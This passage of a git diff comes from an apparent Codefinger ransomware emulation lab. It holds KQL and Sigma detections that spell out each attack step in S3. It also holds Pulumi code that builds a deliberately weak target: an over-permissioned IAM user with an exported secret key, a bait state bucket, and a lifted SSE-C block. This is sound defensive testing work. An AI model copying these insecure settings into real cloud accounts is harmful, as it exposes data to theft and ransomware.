"DeleteObjects") + | where RequestParameters contains "versionId" + | where UserIdentityType == "IAMUser" + | summarize PurgeCount = count(), PurgeTime = min(TimeGenerated) by UserIdentityArn; +SuspendEvents +| join kind=inner PurgeEvents on $left.Principal == $right.UserIdentityArn +| where PurgeTime > SuspendTime and PurgeTime < SuspendTime + 60m +| project + Principal, + SuspendIP, + SuspendTime, + PurgeTime, + PurgeCount, + DelayMinutes = datetime_diff("minute", PurgeTime, SuspendTime) +| sort by SuspendTime desc + + +// --- Query 4: Complete Codefinger kill chain signature in a single IAM session --- +// SSE-C PutObject + Lifecycle + Versioning Suspend + DeleteObjectVersion +// Any 3 of 4 signals from same principal within 2 hours = high-confidence match +let Principal_SSECEncrypt = AWSCloudTrail + | where EventName == "PutObject" and RequestParameters contains "x-amz-server-side-encryption-customer-algorithm" + | where UserIdentityType == "IAMUser" + | distinct UserIdentityArn, EncryptTime = TimeGenerated; +let Principal_Lifecycle = AWSCloudTrail + | where EventName == "PutBucketLifecycleConfiguration" + | where UserIdentityType == "IAMUser" + | distinct UserIdentityArn, LifecycleTime = TimeGenerated; +let Principal_VersionSuspend = AWSCloudTrail + | where EventName == "PutBucketVersioning" and RequestParameters contains "Suspended" + | where UserIdentityType != "AWSService" + | distinct UserIdentityArn, SuspendTime = TimeGenerated; +let Principal_VersionPurge = AWSCloudTrail + | where EventName in ("DeleteObjectVersion", "DeleteObjects") and RequestParameters contains "versionId" + | where UserIdentityType == "IAMUser" + | distinct UserIdentityArn, PurgeTime = TimeGenerated; +Principal_SSECEncrypt +| join kind=inner Principal_Lifecycle on UserIdentityArn +| join kind=inner Principal_VersionSuspend on UserIdentityArn +| join kind=leftouter Principal_VersionPurge on UserIdentityArn +| where abs(datetime_diff("hour", LifecycleTime, EncryptTime)) <= 2 +| where abs(datetime_diff("hour", SuspendTime, EncryptTime)) <= 2 +| project + UserIdentityArn, + EncryptTime, + LifecycleTime, + SuspendTime, + PurgeTime, + KillChainSignalsPresent = case( + isnotempty(PurgeTime), "SSE-C Encrypt + Lifecycle + Version Suspend + Version Purge (FULL CHAIN)", + "SSE-C Encrypt + Lifecycle + Version Suspend (3/4 signals)" + ) +| sort by EncryptTime desc + + +// --- Query 5: EventBridge-compatible alert anchor - versioning disabled on any bucket --- +// Use this as the trigger condition for automated response (e.g., SNS notification, Lambda remediation) +AWSCloudTrail +| where EventName == "PutBucketVersioning" +| where EventSource == "s3.amazonaws.com" +| where RequestParameters contains "Suspended" +| where UserIdentityType == "IAMUser" +| project + AlertTime = TimeGenerated, + Severity = "CRITICAL", + Description = "S3 versioning suspended by IAM user - potential ransomware recovery inhibition", + Principal = UserIdentityArn, + SourceIP = SourceIpAddress, + Region = AwsRegion, + RequestDetail = RequestParameters +| sort by AlertTime desc diff --git a/emulations/codefinger/detections/kql_t1530.kql b/emulations/codefinger/detections/kql_t1530.kql new file mode 100644 index 0000000..64e7571 --- /dev/null +++ b/emulations/codefinger/detections/kql_t1530.kql @@ -0,0 +1,120 @@ +// FILE: kql_t1530.kql +// T1530 Data from Cloud Storage - Codefinger Pre-Encryption S3 Enumeration +// Detects high-volume ListObjects + HeadObject recon sweep preceding encryption +// Platform: AWS CloudTrail -> Microsoft Sentinel AWSCloudTrail table + +// --- Query 1: Anomalous ListObjects volume by IAM user in 15-minute window --- +AWSCloudTrail +| where EventName in ("ListObjects", "ListObjectsV2") +| where EventSource == "s3.amazonaws.com" +| where UserIdentityType == "IAMUser" +| where UserAgent !contains "aws-backup" +| where UserAgent !contains "S3BatchOperations" +| summarize + ListCount = count(), + DistinctBuckets = dcount(RequestParameters), + FirstSeen = min(TimeGenerated), + LastSeen = max(TimeGenerated) + by bin(TimeGenerated, 15m), UserIdentityUserName, SourceIpAddress +// Flag principals with >20 list calls in a 15-min window (tune to org baseline) +| where ListCount > 20 +| extend WindowDurationMinutes = datetime_diff("minute", LastSeen, FirstSeen) +| project + WindowStart = TimeGenerated, + UserIdentityUserName, + SourceIpAddress, + ListCount, + DistinctBuckets, + WindowDurationMinutes, + FirstSeen, + LastSeen +| sort by ListCount desc + + +// --- Query 2: HeadObject burst - metadata harvest pattern --- +AWSCloudTrail +| where EventName == "HeadObject" +| where EventSource == "s3.amazonaws.com" +| where UserIdentityType == "IAMUser" +| summarize + HeadCount = count(), + DistinctKeys = dcount(RequestParameters), + FirstSeen = min(TimeGenerated), + LastSeen = max(TimeGenerated) + by bin(TimeGenerated, 10m), UserIdentityUserName, UserIdentityArn, SourceIpAddress +| where HeadCount > 10 +| project + WindowStart = TimeGenerated, + UserIdentityUserName, + UserIdentityArn, + SourceIpAddress, + HeadCount, + DistinctKeys, + FirstSeen, + LastSeen +| sort by HeadCount desc + + +// --- Query 3: Multi-prefix GetObject sweep - confirms read access before encryption --- +AWSCloudTrail +| where EventName == "GetObject" +| where EventSource == "s3.amazonaws.com" +| where UserIdentityType == "IAMUser" +// Extract prefix from key (everything up to last '/') +| extend ObjectKey = tostring(parse_json(RequestParameters).key) +| extend Prefix = tostring(split(ObjectKey, "/")[0]) +| summarize + GetCount = count(), + DistinctPrefixes = dcount(Prefix), + PrefixList = make_set(Prefix, 20), + FirstSeen = min(TimeGenerated), + LastSeen = max(TimeGenerated) + by bin(TimeGenerated, 15m), UserIdentityUserName, UserIdentityArn, SourceIpAddress +// Suspicious: accessing >2 top-level prefixes rapidly (e.g., finance/ AND hr/) +| where DistinctPrefixes >= 2 +| project + WindowStart = TimeGenerated, + UserIdentityUserName, + UserIdentityArn, + SourceIpAddress, + GetCount, + DistinctPrefixes, + PrefixList, + FirstSeen, + LastSeen +| sort by DistinctPrefixes desc, GetCount desc + + +// --- Query 4: Full recon sequence - List + Head + Get same principal within 30 min --- +let ListOps = AWSCloudTrail + | where EventName in ("ListObjects", "ListObjectsV2") + | where EventSource == "s3.amazonaws.com" + | where UserIdentityType == "IAMUser" + | project ListTime = TimeGenerated, Principal = UserIdentityArn, IPAddress = SourceIpAddress; +let HeadOps = AWSCloudTrail + | where EventName == "HeadObject" + | where EventSource == "s3.amazonaws.com" + | project HeadTime = TimeGenerated, Principal = UserIdentityArn; +let GetOps = AWSCloudTrail + | where EventName == "GetObject" + | where EventSource == "s3.amazonaws.com" + | project GetTime = TimeGenerated, Principal = UserIdentityArn; +ListOps +| join kind=inner HeadOps on Principal +| join kind=inner GetOps on Principal +| where HeadTime > ListTime and HeadTime < ListTime + 30m +| where GetTime > ListTime and GetTime < ListTime + 30m +| summarize + ListTime = min(ListTime), + HeadTime = min(HeadTime), + GetTime = min(GetTime) + by Principal, IPAddress +| extend TotalWindowMinutes = datetime_diff("minute", GetTime, ListTime) +| project + Principal, + IPAddress, + ListTime, + HeadTime, + GetTime, + TotalWindowMinutes +| sort by ListTime desc diff --git a/emulations/codefinger/detections/sigma_t1078.004.yml b/emulations/codefinger/detections/sigma_t1078.004.yml new file mode 100644 index 0000000..ec495ab --- /dev/null +++ b/emulations/codefinger/detections/sigma_t1078.004.yml @@ -0,0 +1,79 @@ +title: Codefinger - Stolen IAM Key Reconnaissance (GetCallerIdentity + ListBuckets) +id: a3f7c1e2-84b0-4d5a-9e6f-2c1b3a8d0f4e +status: experimental +description: | + Detects the initial authentication and reconnaissance phase of the Codefinger ransomware + kill chain. An attacker using a stolen long-term IAM access key first calls GetCallerIdentity + to validate the credential, then immediately calls ListBuckets to enumerate accessible + storage. GetCallerIdentity is a high-fidelity attacker signal because legitimate applications + rarely need to self-probe their identity; the combination with ListBuckets in rapid succession + from an anomalous source IP is a near-conclusive indicator of credential theft and initial + environment survey (T1078.004). +references: + - https://attack.mitre.org/techniques/T1078/004/ + - https://halcyon.ai/blog/codefinger +author: MayaTrail +date: 2026/04/15 +tags: + - attack.initial_access + - attack.t1078.004 +logsource: + product: aws + service: cloudtrail +detection: + selection_getcalleridentity: + eventSource: 'sts.amazonaws.com' + eventName: 'GetCallerIdentity' + selection_listbuckets: + eventSource: 's3.amazonaws.com' + eventName: 'ListBuckets' + filter_automation: + userIdentity.type: + - 'AssumedRole' + userIdentity.sessionContext.sessionIssuer.type: 'Service' + filter_internal_services: + userAgent|contains: + - 'aws-sdk-java' + - 'aws-lambda' + - 'elasticmapreduce' + condition: (selection_getcalleridentity or selection_listbuckets) and not (filter_automation or filter_internal_services) +falsepositives: + - Legitimate SDK health-check scripts that call GetCallerIdentity to confirm credential validity + - Developers testing newly created IAM users from a new IP address + - CI/CD pipelines running from dynamic cloud build agents with novel IPs +level: medium +--- +# Companion rule: high-confidence correlation (GetCallerIdentity AND ListBuckets same principal within 5 minutes) +title: Codefinger - Stolen IAM Key Credential Validation Followed by Bucket Enumeration +id: b8d2e5f1-93c4-4e7b-af80-5d2c4b9e1a6f +status: experimental +description: | + Correlates GetCallerIdentity immediately followed by ListBuckets from the same IAM principal + within a 5-minute window. This two-event sequence is the canonical opener of cloud ransomware + campaigns: the actor validates the stolen key works, then maps the attack surface. Flag when + the source IP has no prior CloudTrail history for that principal (new geography / ASN). +references: + - https://attack.mitre.org/techniques/T1078/004/ +author: MayaTrail +date: 2026/04/15 +tags: + - attack.initial_access + - attack.t1078.004 +logsource: + product: aws + service: cloudtrail +detection: + selection_probe: + eventSource: 'sts.amazonaws.com' + eventName: 'GetCallerIdentity' + userIdentity.type: 'IAMUser' + # NOTE: Full temporal correlation requires SIEM aggregation logic (e.g. Splunk transaction, + # Sentinel join, or Elastic EQL sequence); this selection targets the probe event as the + # anchor. Pair with the ListBuckets selection in a sequence rule in your SIEM. + filter_service_roles: + userIdentity.type: 'AssumedRole' + condition: selection_probe and not filter_service_roles +falsepositives: + - Security scanning tools (ScoutSuite, Prowler, Steampipe) that open every assessment with GetCallerIdentity + - New developer onboarding workflows that test credentials from personal machines +level: high diff --git a/emulations/codefinger/detections/sigma_t1485.yml b/emulations/codefinger/detections/sigma_t1485.yml new file mode 100644 index 0000000..6c4a228 --- /dev/null +++ b/emulations/codefinger/detections/sigma_t1485.yml @@ -0,0 +1,83 @@ +title: Codefinger - S3 Lifecycle Policy Created with Short Expiry (Ransomware TTL) +id: f7b2d5a0-48c6-4e1f-e4b3-0d6a8f3c5e1b +status: experimental +description: | + Detects the creation of an S3 lifecycle policy with a very short expiry (<=7 days) + immediately following high-volume PutObject (SSE-C) activity in the same session. + This is the Codefinger data-destruction mechanism: after encrypting objects with an + attacker-held key, the actor sets an automated deletion timer to pressure victims into + paying ransom before data is permanently destroyed. PutBucketLifecycleConfiguration on + a bucket that previously had no lifecycle policy, combined with an expiry measured in + days rather than months, is a critical high-fidelity detection signal for this technique + (T1485 -- Data Destruction). +references: + - https://attack.mitre.org/techniques/T1485/ + - https://halcyon.ai/blog/codefinger + - https://docs.aws.amazon.com/AmazonS3/latest/userguide/object-lifecycle-mgmt.html +author: MayaTrail +date: 2026/04/15 +tags: + - attack.impact + - attack.t1485 +logsource: + product: aws + service: cloudtrail +detection: + selection_lifecycle_create: + eventSource: 's3.amazonaws.com' + eventName: 'PutBucketLifecycleConfiguration' + filter_infrastructure_as_code: + userAgent|contains: + - 'terraform' + - 'pulumi' + - 'cloudformation' + - 'aws-cdk' + filter_service_accounts: + userIdentity.principalId|contains: + - 'svc-lifecycle' + - 'svc-data-governance' + condition: selection_lifecycle_create and not (filter_infrastructure_as_code or filter_service_accounts) +falsepositives: + - Data retention automation (IaC pipelines applying legitimate lifecycle policies) + - Storage cost optimization tools that programmatically manage object transitions + - Compliance archiving workflows that rotate objects to Glacier +level: high + +--- +title: Codefinger - Bulk S3 DeleteObject Following SSE-C Encryption Activity +id: a1c3e6b0-59d7-4f2a-f5c4-1e7b9a4d6f2c +status: experimental +description: | + Detects bulk S3 DeleteObject API calls immediately following a burst of SSE-C PutObject + calls from the same IAM principal. In the Codefinger kill chain, the actor re-encrypts + objects in-place (PutObject with SSE-C), then deletes the originals to ensure the only + remaining copy is attacker-encrypted. The temporal proximity of bulk deletions after bulk + SSE-C writes is the defining behavioral signature of this ransomware technique. +references: + - https://attack.mitre.org/techniques/T1485/ +author: MayaTrail +date: 2026/04/15 +tags: + - attack.impact + - attack.t1485 +logsource: + product: aws + service: cloudtrail +detection: + selection_bulk_delete: + eventSource: 's3.amazonaws.com' + eventName: + - 'DeleteObject' + - 'DeleteObjects' + userIdentity.type: 'IAMUser' + filter_automated_cleanup: + userAgent|contains: + - 'aws-backup' + - 'lifecycle' + - 's3-object-lambda' + condition: selection_bulk_delete and not filter_automated_cleanup +falsepositives: + - Authorized data purge operations by data governance teams + - S3 lifecycle expiration events (these appear as service-initiated deletions, not IAMUser) + - Application cleanup jobs that delete temporary objects after processing +level: medium diff --git a/emulations/codefinger/detections/sigma_t1486.yml b/emulations/codefinger/detections/sigma_t1486.yml new file mode 100644 index 0000000..083e0e0 --- /dev/null +++ b/emulations/codefinger/detections/sigma_t1486.yml @@ -0,0 +1,80 @@ +title: Codefinger - S3 SSE-C In-Place Object Encryption (Ransomware) +id: d5f0b3e8-26a4-4c9d-c2f1-8b4e6d1a3c9f +status: experimental +description: | + Detects the core encryption step of the Codefinger S3 ransomware attack. The actor retrieves + existing S3 objects via GetObject then immediately re-uploads them to the same key with + SSE-C (customer-provided encryption key) headers, replacing plaintext data with an + attacker-controlled encrypted copy. CloudTrail captures the + x-amz-server-side-encryption-customer-algorithm header in the PutObject request, making + this technique visible on the control plane. Key signals: high-volume PutObject calls on + pre-existing keys from a non-native source IP, all within a short window, with SSE-C + algorithm set to AES256. The simultaneous appearance of README.txt ransom notes in multiple + prefixes is a confirmatory indicator. +references: + - https://attack.mitre.org/techniques/T1486/ + - https://halcyon.ai/blog/codefinger + - https://docs.aws.amazon.com/AmazonS3/latest/userguide/ServerSideEncryptionCustomerKeys.html +author: MayaTrail +date: 2026/04/15 +tags: + - attack.impact + - attack.t1486 +logsource: + product: aws + service: cloudtrail +detection: + selection_ssec_put: + eventSource: 's3.amazonaws.com' + eventName: 'PutObject' + # SSE-C algorithm is logged in requestParameters when customer-provided key is used + requestParameters|contains: 'x-amz-server-side-encryption-customer-algorithm' + filter_legitimate_ssec: + # Known applications that legitimately use SSE-C (tune to environment) + userIdentity.principalId|contains: + - 'svc-encrypted-backup' + - 'svc-compliance-archive' + filter_aws_services: + userIdentity.type: 'AWSService' + condition: selection_ssec_put and not (filter_legitimate_ssec or filter_aws_services) +falsepositives: + - Applications that deliberately use SSE-C for compliance-driven encryption (rare in practice) + - Data migration tools moving objects from unencrypted to SSE-C encrypted storage + - Custom backup solutions that implement their own encryption layer +level: high + +--- +title: Codefinger - Ransom Note Deposition in S3 (README.txt Multi-Prefix) +id: e6a1c4f9-37b5-4d0e-d3a2-9c5f7e2b4d0a +status: experimental +description: | + Detects the deposition of ransom note objects (README.txt) in multiple S3 prefixes + simultaneously -- a confirmatory indicator that an active ransomware campaign is in + progress. Codefinger drops a ransom note per affected directory immediately after + re-encrypting objects in that prefix with SSE-C. A single README.txt upload is low signal; + identical filenames appearing in 2+ distinct prefixes within minutes is high-confidence. +references: + - https://attack.mitre.org/techniques/T1486/ +author: MayaTrail +date: 2026/04/15 +tags: + - attack.impact + - attack.t1486 +logsource: + product: aws + service: cloudtrail +detection: + selection_ransom_note: + eventSource: 's3.amazonaws.com' + eventName: 'PutObject' + requestParameters|contains: 'README.txt' + filter_documentation: + # Exclude known legitimate README uploads (e.g., documentation pipelines) + userAgent|contains: + - 'aws-amplify' + - 'github-actions-s3-sync' + condition: selection_ransom_note and not filter_documentation +falsepositives: + - Static website deployments that publish README.txt as documentation + - S3-backed artifact repositories where README.txt is a standard file +level: high diff --git a/emulations/codefinger/detections/sigma_t1490.yml b/emulations/codefinger/detections/sigma_t1490.yml new file mode 100644 index 0000000..3b8210d --- /dev/null +++ b/emulations/codefinger/detections/sigma_t1490.yml @@ -0,0 +1,83 @@ +title: Codefinger - S3 Versioning Suspended to Block Recovery +id: b2d4f7c1-60e8-4a3b-a6d5-2f8c0b5e7a3d +status: experimental +description: | + Detects the terminal step of the Codefinger ransomware kill chain: suspending S3 object + versioning to eliminate the victim's primary recovery mechanism. After encrypting all + objects with an attacker-held SSE-C key and setting an automated deletion lifecycle, + the actor calls PutBucketVersioning with Status=Suspended to ensure that version-rollback + is no longer possible. This is a critical high-fidelity signal: transitioning a bucket + from Enabled to Suspended versioning is rarely performed by legitimate workloads, and + NEVER as part of a session that also includes SSE-C PutObject and lifecycle policy + creation (T1490 -- Inhibit System Recovery). +references: + - https://attack.mitre.org/techniques/T1490/ + - https://halcyon.ai/blog/codefinger + - https://docs.aws.amazon.com/AmazonS3/latest/userguide/Versioning.html +author: MayaTrail +date: 2026/04/15 +tags: + - attack.impact + - attack.t1490 +logsource: + product: aws + service: cloudtrail +detection: + selection_versioning_suspend: + eventSource: 's3.amazonaws.com' + eventName: 'PutBucketVersioning' + requestParameters|contains: 'Suspended' + filter_iac: + userAgent|contains: + - 'terraform' + - 'pulumi' + - 'cloudformation' + filter_service_accounts: + userIdentity.principalId|contains: + - 'svc-storage-admin' + - 'svc-infrastructure' + condition: selection_versioning_suspend and not (filter_iac or filter_service_accounts) +falsepositives: + - Infrastructure-as-code pipelines decommissioning versioned buckets as part of approved teardown + - Storage cost optimization initiatives disabling versioning on low-value buckets + - Mistake by an administrator who intended to enable rather than suspend versioning +level: critical + +--- +title: Codefinger - Bulk DeleteObjectVersion Purging Version History +id: c3e5a8d2-71f9-4b4c-b7e6-3a9d1c6f8b4e +status: experimental +description: | + Detects high-volume DeleteObjectVersion (or DeleteObjects with VersionId) calls that + permanently remove S3 object versions. In the Codefinger kill chain this follows + versioning suspension and is the final act that forecloses all recovery paths: even if + an incident responder re-enables versioning, the unencrypted prior versions are gone. + Bulk version deletion from a non-native IP using a long-term IAM key, occurring within + minutes of versioning suspension, is the definitive terminal signal of this attack chain. +references: + - https://attack.mitre.org/techniques/T1490/ +author: MayaTrail +date: 2026/04/15 +tags: + - attack.impact + - attack.t1490 +logsource: + product: aws + service: cloudtrail +detection: + selection_delete_version: + eventSource: 's3.amazonaws.com' + eventName: + - 'DeleteObjectVersion' + - 'DeleteObjects' + requestParameters|contains: 'versionId' + userIdentity.type: 'IAMUser' + filter_lifecycle_service: + # S3 lifecycle-initiated version expiration appears as AWSService, not IAMUser + userIdentity.type: 'AWSService' + condition: selection_delete_version and not filter_lifecycle_service +falsepositives: + - Authorized data purge workflows that explicitly manage version lifecycle + - Object Lock compliance expiration handled by admin scripts + - Development environment teardowns removing all object versions as part of cleanup +level: high diff --git a/emulations/codefinger/detections/sigma_t1530.yml b/emulations/codefinger/detections/sigma_t1530.yml new file mode 100644 index 0000000..717ac51 --- /dev/null +++ b/emulations/codefinger/detections/sigma_t1530.yml @@ -0,0 +1,49 @@ +title: Codefinger - High-Volume S3 Object Enumeration Before Encryption +id: c4e9a2d7-15f3-4b8c-b1e0-7a3d5c0f2b8e +status: experimental +description: | + Detects the pre-encryption reconnaissance phase of the Codefinger S3 ransomware campaign. + The actor uses a stolen IAM key to perform high-volume ListObjectsV2 and HeadObject calls + across multiple S3 prefixes in rapid succession, building an inventory of objects to encrypt. + This pattern -- bulk metadata collection spanning multiple prefixes from a single IAM identity + in a short window -- is strongly indicative of automated tooling staging an encryption run. + The technique maps to T1530 (Data from Cloud Storage) used as a precursor to T1486. +references: + - https://attack.mitre.org/techniques/T1530/ + - https://halcyon.ai/blog/codefinger +author: MayaTrail +date: 2026/04/15 +tags: + - attack.collection + - attack.t1530 +logsource: + product: aws + service: cloudtrail +detection: + selection_list: + eventSource: 's3.amazonaws.com' + eventName: + - 'ListObjects' + - 'ListObjectsV2' + userIdentity.type: 'IAMUser' + selection_head: + eventSource: 's3.amazonaws.com' + eventName: 'HeadObject' + userIdentity.type: 'IAMUser' + filter_backup_agents: + userAgent|contains: + - 'aws-backup' + - 'aws-replication' + - 'S3BatchOperations' + - 'CloudFormation' + filter_service_accounts: + userIdentity.principalId|contains: + - 'svc-backup' + - 'svc-replication' + condition: (selection_list or selection_head) and not (filter_backup_agents or filter_service_accounts) +falsepositives: + - AWS Backup or third-party backup agents performing scheduled inventory + - S3 batch operations listing objects before processing + - Security scanning tools (Macie, Prowler) running data classification jobs + - Data migration workflows performing pre-migration inventory +level: medium diff --git a/emulations/codefinger/infra/Pulumi.yaml b/emulations/codefinger/infra/Pulumi.yaml new file mode 100644 index 0000000..c2e13f6 --- /dev/null +++ b/emulations/codefinger/infra/Pulumi.yaml @@ -0,0 +1,3 @@ +name: mayatrail-codefinger +runtime: python +description: Codefinger ransomware adversary emulation infrastructure diff --git a/emulations/codefinger/infra/__init__.py b/emulations/codefinger/infra/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/emulations/codefinger/infra/__main__.py b/emulations/codefinger/infra/__main__.py new file mode 100644 index 0000000..0229bef --- /dev/null +++ b/emulations/codefinger/infra/__main__.py @@ -0,0 +1,409 @@ +import json + +import boto3 +import pulumi +import pulumi_aws as aws + +# ----------------------------------------------------------------------- +# Resource Name Constants +# ----------------------------------------------------------------------- +STACK_NAME = pulumi.get_stack() + +BAIT_BUCKET_NAME = f"acme-devops-tfstate-{STACK_NAME}" +TARGET_BUCKET_NAME = f"codefinger-target-{STACK_NAME}" +CLOUDTRAIL_BUCKET_NAME = f"codefinger-cloudtrail-{STACK_NAME}" +VICTIM_USER_NAME = f"codefinger-victim-{STACK_NAME}" +TRAIL_NAME = f"codefinger-trail-{STACK_NAME}" + +# Export constants so attack.py can reference them +pulumi.export("bait_bucket_name", BAIT_BUCKET_NAME) +pulumi.export("target_bucket_name", TARGET_BUCKET_NAME) +pulumi.export("cloudtrail_bucket_name", CLOUDTRAIL_BUCKET_NAME) +pulumi.export("victim_user_name", VICTIM_USER_NAME) +pulumi.export("trail_name", TRAIL_NAME) +pulumi.export("aws_region", aws.config.region or "us-east-1") + +TAGS = { + "MayaTrail": "true", + "Purpose": "adversary-emulation", + "ThreatActor": "Codefinger", + "Environment": "isolated-lab", +} + +# ----------------------------------------------------------------------- +# Caller identity (synchronous; used inside apply lambdas) +# ----------------------------------------------------------------------- +caller_identity = aws.get_caller_identity() +ACCOUNT_ID = caller_identity.account_id + +# ----------------------------------------------------------------------- +# 1. codefinger-bait-public-bucket +# Simulates an accidentally-public Terraform state bucket (T1552.001) +# ----------------------------------------------------------------------- +bait_bucket = aws.s3.BucketV2( + "codefinger-bait-public-bucket", + bucket=BAIT_BUCKET_NAME, + force_destroy=True, + tags=TAGS, +) + +# ----------------------------------------------------------------------- +# 2. codefinger-target-s3-bucket +# Unversioned, no default SSE-KMS (SSE-C conflicts with KMS) +# ----------------------------------------------------------------------- +target_bucket = aws.s3.BucketV2( + "codefinger-target-s3-bucket", + bucket=TARGET_BUCKET_NAME, + force_destroy=True, + tags=TAGS, +) + +# Block public access on target bucket (private data store) +aws.s3.BucketPublicAccessBlock( + "codefinger-target-public-access-block", + bucket=target_bucket.id, + block_public_acls=True, + block_public_policy=True, + ignore_public_acls=True, + restrict_public_buckets=True, +) + +# Enable versioning on target bucket so T1490 phase5_inhibit_recovery can +# demonstrate suspending versioning and purging version history. +aws.s3.BucketVersioningV2( + "codefinger-target-versioning", + bucket=target_bucket.id, + versioning_configuration=aws.s3.BucketVersioningV2VersioningConfigurationArgs( + status="Enabled", + ), +) + + +# ----------------------------------------------------------------------- +# Override account-level SSE-C block on target bucket. +# AWS accounts created after Dec 2024 automatically apply +# BlockedEncryptionTypes=SSE-C to new buckets. We override this by +# explicitly setting BlockedEncryptionTypes=NONE (block only unencrypted +# uploads), which allows victim IAM key to perform SSE-C PutObject as +# Codefinger does in the wild. This mirrors a victim org that has NOT +# deployed the recommended "Block SSE-C" defense. +# ----------------------------------------------------------------------- +def _unlock_ssec(bucket_id: str) -> None: + if pulumi.runtime.is_dry_run(): + pulumi.log.info("[DRYRUN] Skipping SSE-C unlock during preview.") + return + try: + s3_admin = boto3.client("s3") + s3_admin.put_bucket_encryption( + Bucket=bucket_id, + ServerSideEncryptionConfiguration={ + "Rules": [{ + "ApplyServerSideEncryptionByDefault": {"SSEAlgorithm": "AES256"}, + "BucketKeyEnabled": False, + "BlockedEncryptionTypes": {"EncryptionType": ["NONE"]}, + }] + }, + ) + pulumi.log.info(f"[INFO] SSE-C unlocked on {bucket_id} (BlockedEncryptionTypes=NONE)") + except Exception as exc: + pulumi.log.warn(f"[WARN] SSE-C unlock failed on {bucket_id}: {exc}") + + +target_bucket.id.apply(_unlock_ssec) + +# ----------------------------------------------------------------------- +# 3. codefinger-cloudtrail-log-bucket +# ----------------------------------------------------------------------- +ct_log_bucket = aws.s3.BucketV2( + "codefinger-cloudtrail-log-bucket", + bucket=CLOUDTRAIL_BUCKET_NAME, + force_destroy=True, + tags=TAGS, +) + +# ----------------------------------------------------------------------- +# 4. codefinger-cloudtrail-log-bucket-policy +# ----------------------------------------------------------------------- +ct_log_bucket_policy = aws.s3.BucketPolicy( + "codefinger-cloudtrail-log-bucket-policy", + bucket=ct_log_bucket.id, + policy=ct_log_bucket.bucket.apply( + lambda name: json.dumps({ + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "AWSCloudTrailAclCheck", + "Effect": "Allow", + "Principal": {"Service": "cloudtrail.amazonaws.com"}, + "Action": "s3:GetBucketAcl", + "Resource": f"arn:aws:s3:::{name}", + }, + { + "Sid": "AWSCloudTrailWrite", + "Effect": "Allow", + "Principal": {"Service": "cloudtrail.amazonaws.com"}, + "Action": "s3:PutObject", + "Resource": f"arn:aws:s3:::{name}/AWSLogs/{ACCOUNT_ID}/*", + "Condition": { + "StringEquals": { + "s3:x-amz-acl": "bucket-owner-full-control" + } + }, + }, + ], + }) + ), +) + +# ----------------------------------------------------------------------- +# 5. codefinger-cloudtrail +# Captures management events + S3 data-plane events on target bucket +# ----------------------------------------------------------------------- +cloudtrail = aws.cloudtrail.Trail( + "codefinger-cloudtrail", + name=TRAIL_NAME, + s3_bucket_name=ct_log_bucket.bucket, + enable_log_file_validation=True, + is_multi_region_trail=False, + enable_logging=True, + event_selectors=[ + aws.cloudtrail.TrailEventSelectorArgs( + read_write_type="All", + include_management_events=True, + data_resources=[ + aws.cloudtrail.TrailEventSelectorDataResourceArgs( + type="AWS::S3::Object", + values=[ + pulumi.Output.concat( + "arn:aws:s3:::", target_bucket.bucket, "/" + ) + ], + ) + ], + ) + ], + tags=TAGS, + opts=pulumi.ResourceOptions(depends_on=[ct_log_bucket_policy]), +) + +# ----------------------------------------------------------------------- +# 6. codefinger-victim-iam-user +# Programmatic-only; no console access +# ----------------------------------------------------------------------- +victim_user = aws.iam.User( + "codefinger-victim-iam-user", + name=VICTIM_USER_NAME, + path="/", + tags=TAGS, +) + +# ----------------------------------------------------------------------- +# 7. codefinger-victim-iam-access-key +# Long-term key; no rotation (mimics real exposed-key scenario) +# ----------------------------------------------------------------------- +victim_access_key = aws.iam.AccessKey( + "codefinger-victim-iam-access-key", + user=victim_user.name, +) + +pulumi.export("victim_access_key_id", victim_access_key.id) +pulumi.export("victim_secret_access_key", victim_access_key.secret) + +# ----------------------------------------------------------------------- +# 8. codefinger-victim-iam-policy (inline) +# Over-permissioned: includes PutLifecycleConfiguration + PutObject +# enabling T1490 deletion scheduling and T1486 SSE-C re-encryption. +# Also includes versioning + list-all actions used in the full attack chain. +# ----------------------------------------------------------------------- +victim_policy = aws.iam.UserPolicy( + "codefinger-victim-iam-policy", + name="CodefingervictimS3Access", + user=victim_user.name, + policy=target_bucket.bucket.apply( + lambda name: json.dumps({ + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "CodefingervictimS3BucketAccess", + "Effect": "Allow", + "Action": [ + "s3:ListBucket", + "s3:GetBucketLocation", + "s3:GetBucketVersioning", + "s3:PutBucketVersioning", + "s3:ListBucketVersions", + "s3:GetLifecycleConfiguration", + "s3:PutLifecycleConfiguration", + "s3:DeleteBucketLifecycle", + ], + "Resource": f"arn:aws:s3:::{name}", + }, + { + "Sid": "CodefingervictimS3ObjectAccess", + "Effect": "Allow", + "Action": [ + "s3:GetObject", + "s3:PutObject", + "s3:DeleteObject", + "s3:DeleteObjectVersion", + ], + "Resource": f"arn:aws:s3:::{name}/*", + }, + { + "Sid": "CodefingervictimS3Global", + "Effect": "Allow", + "Action": [ + "s3:ListAllMyBuckets", + ], + "Resource": "*", + }, + { + "Sid": "CodefingervictimSTS", + "Effect": "Allow", + "Action": [ + "sts:GetCallerIdentity", + ], + "Resource": "*", + }, + ], + }) + ), +) + +# ----------------------------------------------------------------------- +# 9. codefinger-synthetic-data-finance +# 3 CSV objects in finance/ prefix; fabricated data only +# ----------------------------------------------------------------------- +_finance_objects = { + "finance/Q4_2025_revenue.csv": ( + "quarter,product,region,revenue_usd\n" + "Q4,Widget-A,AMER,1250000\n" + "Q4,Widget-B,EMEA,874500\n" + "Q4,Widget-C,APAC,2100000\n" + "Q4,Widget-D,AMER,430000\n" + ), + "finance/payroll_export_2025.csv": ( + "employee_id,first_name,last_name,department,annual_salary_usd\n" + "E0021,James,Anderson,Engineering,120000\n" + "E0047,Maria,Gonzalez,Marketing,95000\n" + "E0083,Robert,Kim,Finance,110000\n" + "E0112,Sarah,Patel,Operations,88000\n" + ), + "finance/accounts_receivable.csv": ( + "invoice_id,client_name,amount_usd,currency,due_date,status\n" + "INV-2025-001,Acme Corp,45000,USD,2026-01-15,OPEN\n" + "INV-2025-002,Beta Industries,22500,USD,2026-01-20,OPEN\n" + "INV-2025-003,Gamma Solutions,67800,USD,2026-02-01,OPEN\n" + "INV-2025-004,Delta Group,15200,USD,2026-02-14,PAID\n" + ), +} + +for _obj_key, _obj_content in _finance_objects.items(): + _resource_id = "codefinger-finance-" + _obj_key.split("/")[-1].replace(".", "-") + aws.s3.BucketObject( + _resource_id, + bucket=target_bucket.id, + key=_obj_key, + content=_obj_content, + content_type="text/csv", 